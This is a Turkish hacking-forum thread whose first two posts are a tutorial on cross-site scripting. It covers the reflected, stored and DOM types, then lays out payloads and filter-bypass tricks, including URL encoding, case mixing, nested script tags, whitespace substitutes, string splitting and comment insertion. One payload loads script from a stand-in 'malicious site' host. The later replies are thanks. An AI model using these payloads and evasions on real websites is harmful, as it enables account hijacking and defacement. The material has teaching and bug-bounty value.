Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Web & Server Güvenliği

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.





XSS Nedir? Payload Üretme/Düzenleme //KurokoTetsuya\\

Web & Server Güvenliği

Yeni Konu aç Cevapla
 
Seçenekler
Alt bir Hafta önce   #1
  • Yarbay
  • Üye Bilgileri
Üyelik tarihi
04/2015
Nereden
SGA
Yaş
19
Mesajlar
Konular


  
XSS Nedir? Payload Üretme/Düzenleme //KurokoTetsuya\\



UYARI: THT'de script etiketleri engellendiği için makalede i harfi yerine ters ünlem ( ¡ ) kullanılacaktır. Siz orayı i harfi olarak anlayın, ona göre öğrenin.

XSS zafiyeti hedef sitemizde HTML ve Javascript kodları çalıştırmamızı sağlayan kritik bir zafiyettir. HTML Injection zafiyetinden farkı; Javascript kodu da çalışmasıdır. Eğer HTML kodu çalışıyorsa fakat Javascript kodları çalışmıyorsa orda HTML Injection zafiyeti vardır. Bazıları bu zafiyet hakkında "Ne işe yarar ki, sonuçta ekrana bir şey yazdırıyo'n o kadar." gibi bir düşünceye sahip olabiliyor. Fakat iş ekrana yazı yazdırmakla kalmayabilir, sonuçta istediğimiz Javascript kodunu çalıştırabiliyoruz. Bug Bounty'de de oldukça önemli görülen bir zafiyettir.

Öncelikle bu makalede okuduğunuzu anlamanız için temel düzeyde Javascript ve HTML bilginizin olması gerekiyor.

Konumuzda sıkça geçecek olan bir kelime ve anlamını bırakayım buraya. Payload: XSS zafiyetini sömürebilecek Javascript kodu. Kelime anlamı bu değil ama konu XSS olunca böyle bir terim anlamı oluyor.

Nerelerde aranabilir: Arama kutucuğu gibi yazı yazabildiğimiz her yerde, URL'de parametrelerde arayabiliriz.
Üçe ayrılır: Reflected, Stored, DOM

Reflected XSS: Sadece kullanıcı Javascript kodu yazdığında çalışır. Sunucuda bir kalıcılığı yoktur.

Stored XSS: Reflected XSS'in aksine kalıcıdır. Payload'lar anlık olarak yansımaz, önce sunucuya kaydedilir. Stored XSS bulunan sayfaya Payload atıldıktan sonra o adrese giden herkes önceden atılan Payload'a maruz kalır.

DOM XSS: DOM'lardan kaynaklanan XSS türüdür, genelde # işaretinden sonra payload denenip sayfa yenilendiğinde kodun çalışmasıyla anlaşılan XSS türüdür.

3 çeşit payload vardır.
1) Script etiketleri kullanılanlar: Javascript kodları <script></script> etiketleri arasına yazılır.

2) Harici Javascript kodu çalıştırma: Farklı bir adreste bulunan Javascript kodu çalıştırmaya yarar.
Kod:
<SCRIPT SRC=http://zararlısite.com/zararlıxssdosyasi.js></SCRIPT>
3) Olaylara yazılan Javascript kodları: Buradaki payload yapısı aşağıdaki gibidir.
Kod:
<etiket olay=javascript kodu>
Örnek:
Kod:
<img onerror=alert(1)>
Örneğimizde "Sayfaya resim yüklenirken hata olması durumunda ekrana alert() ile 1 yazdır." demiş oluyoruz. Biz belli bir resim belirtmediğimiz için bu kodumuz hatalı oluyor, hata olduğu durumda ekrana 1 sayısını yansıtmış oluyoruz.


Kullanılabilecek olaylar:
Kod:
onclick
ondblclick
onmousedown
onmousemove
onmouseover
onmouseout
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onerror
onload
onresize
onscroll
onunload
onsubmit
onblur
onchange
onfocus
onreset
onselect
onMoveOn
oncopy
oncut
ondrop
onhelp
onplay
onshow
XSS tespiti için alert alternatifi olarak prompt ve confirm kullanabilir. Basit farkları var. Alert sadece ekrana istediğimiz değeri yansıtır. Prompt istediğimiz değeri yansıtır ve kullanıcıdan veri isteyen bir kutucuk bulundurur. Confirm istediğimiz değeri yansıtır ve "Tamam" ve "İptal" gibi 2 seçenek sunar. Burda bizim istediğimizin yansıtılması bizim için yeterli, o yüzden alert, prompt veya confirm kullanmanın pek farkı yok. İstediğimiz verinin ekrana yansıması yeterli.


Bazen üstteki payload yöntemleri çalışmayabilir bunun nedenini ve bu sorunu çözmeyi de şu anda anlatacağım. Değer girebildiğimiz kutucuklarda bizden alınan veriler iki adet çift tırnak içine yazılır. Mesela bizden herhangi bir şey yazmamızı isteyen kutucuk olsun, ve bizim kutucuğa Kuroko yazdığımızı düşünelim. Bizim Kuroko değerini yazdıktan sonraki kutucuğun kodu da şu olsun:
Kod:
<input type="text" name="kutucuk" value="Kuroko">
Eğer biz burda yazdığımız değerden sonra etiketi kendimiz kapatırsak geriye boş bir alan kalacak ve biz bu boş alanda istediğimiz gibi at koşturabileceğiz. Yani istediğimiz kodu çalıştırabileceğiz. Eğer biz Kuroko yazdığımız yere "><scr¡pt>alert(1)</script> yazarsak input etiketi içinden kurtulup kendimize ait script etiketleri kullanarak ekrana 1 değerini yansıtabileceğiz. Bahsettiğimiz payload uygulandıktan sonra ise kaynak kod şöyle olacak:
Kod:
<input type="text" name="kutucuk" value=""><scr¡pt>alert(1)</script>
    


___________________________________________

:-/


Konu KurokoTetsuya tarafından (bir Hafta önce Saat 12:22 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #2
  • Yarbay
  • Üye Bilgileri
Üyelik tarihi
04/2015
Nereden
SGA
Yaş
19
Mesajlar
Konular


  


XSS PAYLOAD ÜRETME/DÜZENLEME

Çalışan diğer kodları engelleme: Payload sonrasında hedef sitemizde bulunan kodların bir kısmını yorum satırının içine alarak etkisiz hale getirebiliriz. Bu şekilde payload'umuzun çalışmasını engelleyen kodlar da etkisiz hale gelebilir. Kullanılabilir yöntemler:
Kod:
">payload//
Ya da
">payload<!--


Filtre bypass'lama
Bazen payload engellemek için olay sayısı kısıtlanır. Bu durumda yapmak gereken:
Kod:
<x onx
<x onxx
Şeklinde ilerleyip x sayısını arttırmaktır. Engellendiğindeki harf sayısına bakıp o harf sayısından az olan olayları payload'da kullanabilirsiniz.


URL Encoding: Kullandığımız payload'lardaki kelime engellerini atlatmak için kullanılan yöntemlerden birisi. Mesela "alert" kelimesini engelleyen bir sitede bazı harfleri veya tüm harfleri URL Encoding kullanarak engelleriz.
Örnek:
Kod:
al%65rt
Burda e harfinin yerine encode edilmiş %65 kulllanılıyor.
Tüm harflerin listesi için: https://www.degraeve.com/reference/urlencoding.php
Ya da Google'a "character encoding url" gibi bir arama ile aynı bilgileri bulacağınız diğer sitelere erişebilirsiniz.


Büyük-küçük harf: Engellenen kelimeleri atlatmak için bir yöntem daha. Mesela URL Encoding yapsak bile hedef sitemiz yazmak istediğimiz şeyi engellediği "alert" kelimesi ile eşleştiriyorsa bu Javascript kodumuzun çalışmasını engeller. Bunun için bazı harfleri büyük, bazılarını küçük yazdığımızda hedef sitemiz "alert" ile "aLert" yazısının birebir aynı olduğunu anlamayacak fakat biz yine ekrana alert ile istediğimizi yazdırmış olacağız.

Silinen etiketler: Bazı sayfalarda önlem olarak <scr¡pt>alert(1)</script> yazıldığında bu etiket silinir ve geriye alert(1) kalır,bu da payload'umuzun çalışmasını engeller. Burda eğer script etiketimizin içine bir adet script etiketi eklersek biri silinecek, silindiğinde diğer script etiketi birleşip çalışır duruma gelecek. Örneği inceleyerek daha iyi anlayabilirsiniz:
Kod:
<sc<scr¡pt>r¡pt>alert(123)</scr</script>ipt>
Örneğimizde <sc ript> arasındaki <scr¡pt>etiketinin silindiğini düşünelim. Hedefimiz içteki etiketi sildiğinde ayrılmış etiketi birleştirmiş olacak.


Boşluk alternatifleri: Bazen <img onerror=alert(1)> gibi bir payload denediğimizde koyduğumuz boşluk yüzünden payload çalışmayabilir. Boşluk bırakmak yerine kullanabileceklerimiz:
Kod:
/
%09
%0A
%0C
%0D
%2F
Örnek:
Kod:
<img/onerror=alert(1)>
<img%09onerror=alert(1)>


Matematiksel operatörler kullanmak: Hedef sitemizde alert yazmamız engellenirse biz de alert kelimesini 2 farklı string olarak ayarlayıp alert yazdırırız. Mesela "ale" "rt" şeklinde ayırırız, + operatörü ile birleştirebiliriz. Javascript'te + ile sayılar toplanabilir veya farklı kelimeler birleştirilebilir. 'Selam'+'THT' yazarsak "SelamTHT" şeklinde çıktı alırız. Biz de 'ale'+'rt' yaparsak bu 2 farklı string'i birleştirip alert yazdırmış oluruz. Örnek:
Kod:
<img onerror='ale'+'rt'(1)>


/kelime/.source: Bu başlık kafanızı karıştırmış olabilir. Yapacağımız şey artı operatörü ile 2 farklı string birleştirmenin farklı bir yolu. Mesela alert kelimesini "ale" ve "rt" olarak ikiye ayıralım. /ale/.source+/rt/.source yazdığımızda sonuç "alert" oluyor. Örnek:
Kod:
<img onerror=/ale/.source+/rt/.source(1)>


Name ve Id parametreleri: HTML'de objeleri Name ve Id parametreleri ile adlandırıp diğer objelerden ayırabiliriz. Burda name ve id kullanarak üstteki yaptığımız işlemleri yapacağız. Yine "alert" kelimesini "ale" ve "rt" olarak ikiye ayırdık diyelim. Name parametresine "ale" değerini atayıp id parametresine de "rt" değerini atayıp ikisini artı operatörü ile birleştirirsek yine alert sonucunu alacağız. Örnek:
Kod:
<svg id=rt name=ale onload=name+id>


Yorum satırları: Yazdığımız payload'ta Javascript çalışan kısımda kelime engellemesi varsa bu engellemeyi yorum satırları ile aşabiliriz. Bildiğiniz üzere Javascript'te 2 çeşit yorum satırı vardır. Bunlardan birisi 2 adet slash koymaktır ( // ) eğer bunu yaparsak 2 slash'dan sonrası algılanmayacaktır. O zaman diğer yorumlama yöntemini kullanırız ( /*kelime*/ ). Bildiğiniz üzere parantez içinde kelime yazdığım yere ne yazarsam yazayım, bu kodların çalışmasını etkilemeyecektir. Biz de bunu kullanarak kullandığımız Payload'un arasına yorum satırı atacağız. Örnek:
Kod:
<img onerror=al/**/ert(1)>

Fakat Javascript'te kullanılan yorum satırını <img> gibi etiketlerde veya onerror gibi olaylarda kullanırsak çalışmayacaktır. Eğer olaylar engelleniyorsa olayların arasına HTML açıklama satırı ekleyebiliriz, tıpkı üstteki alert için yaptığımız gibi. HTML açıklama satırı <!--kelime--> şeklindedir. Kelime kısmında ne yazdığının bir önemi yok. Örnek:
Kod:
<img oner<!--kuroko-->ror=alert(1)>
Fakat HTML açıklama satırı etiketlerde çalışmıyor, daha doğrusu payload'umuzu olumsuz etkiliyor.
    


___________________________________________

:-/


Konu KurokoTetsuya tarafından (bir Hafta önce Saat 09:44 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #3
  • Yarbay
  • Üye Bilgileri
Üyelik tarihi
03/2017
Mesajlar
Konular


  


Elinize Sağlık
    


___________________________________________

Bitti
 Offline  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #4
  • Yarbay
  • Üye Bilgileri
Üyelik tarihi
07/2014
Nereden
aquu.php
Mesajlar
Konular


  


Kalite kuroko
    


___________________________________________


WWW.TÜRKHACKTEAM.ORG/TV
- AquieLL -
2014-2017
 Offline  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #5
  • Teğmen
  • Üye Bilgileri
Üyelik tarihi
10/2018
Nereden
İstanbul
Yaş
18
Mesajlar
Konular


  


Eşinize sağlık
    


___________________________________________

Etik Hacker

 Online  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #6
  • Yüzbaşı
  • Üye Bilgileri
Üyelik tarihi
06/2015
Nereden
Anonim
Mesajlar
Konular


  


Eline sağlık biraz renklendirme yapabilirsen konu daha çok ilgi çekici gelicektir.
    


___________________________________________

Minareler süngü, kubbeler miğfer,
Camiler kışlamız, müminler asker,Bu ilahi ordu dinimi bekler,
Allahu Ekber, Allahu Ekber
 Offline  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #7
  • Yarbay
  • Üye Bilgileri
Üyelik tarihi
04/2015
Nereden
SGA
Yaş
19
Mesajlar
Konular


  


Alıntı:
THE HACKER 21´isimli üyeden Alıntı Mesajı göster
Elinize Sağlık
Sağolun

Alıntı:
AquieLL´isimli üyeden Alıntı Mesajı göster
Kalite kuroko
Sağolasın Aquu

Alıntı:
akkral´isimli üyeden Alıntı Mesajı göster
Eşinize sağlık
Olursa belki hdkshdlshd

Alıntı:
S1NYOR´isimli üyeden Alıntı Mesajı göster
Eline sağlık biraz renklendirme yapabilirsen konu daha çok ilgi çekici gelicektir.
Renklendirdim, makaleyi paylaştığımda saat 02:30 civarıydı, onunla uğraşacak kadar enerjim yoktu
    


___________________________________________

:-/

 Offline  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #8
  • Teğmen
  • Üye Bilgileri
Üyelik tarihi
10/2018
Nereden
İstanbul
Yaş
18
Mesajlar
Konular


  


Alıntı:
KurokoTetsuya´isimli üyeden Alıntı Mesajı göster
Sağolun



Sağolasın Aquu



Olursa belki hdkshdlshd



Renklendirdim, makaleyi paylaştığımda saat 02:30 civarıydı, onunla uğraşacak kadar enerjim yoktu
pardon hocam yanlışıkla yazdım kusura bakmayın
    


___________________________________________

Etik Hacker

 Online  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #9
  • Teğmen
  • Üye Bilgileri
Üyelik tarihi
09/2018
Nereden
MilkyWayGlxy
Mesajlar
Konular


  


Ellerine sağlık hocam
    
 Offline  
 
Alıntı ile Cevapla
Alt bir Hafta önce   #10
  • Yarbay
  • Üye Bilgileri
Üyelik tarihi
04/2015
Nereden
SGA
Yaş
19
Mesajlar
Konular


  


Alıntı:
akkral´isimli üyeden Alıntı Mesajı göster
pardon hocam yanlışıkla yazdım kusura bakmayın
Yok be, ne kusuru. Canın sağolsun.

Alıntı:
Medinelii´isimli üyeden Alıntı Mesajı göster
Ellerine sağlık hocam
Teşekkür ederim.
    


___________________________________________

:-/

 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2018

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı



Google+
film izle

wau

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.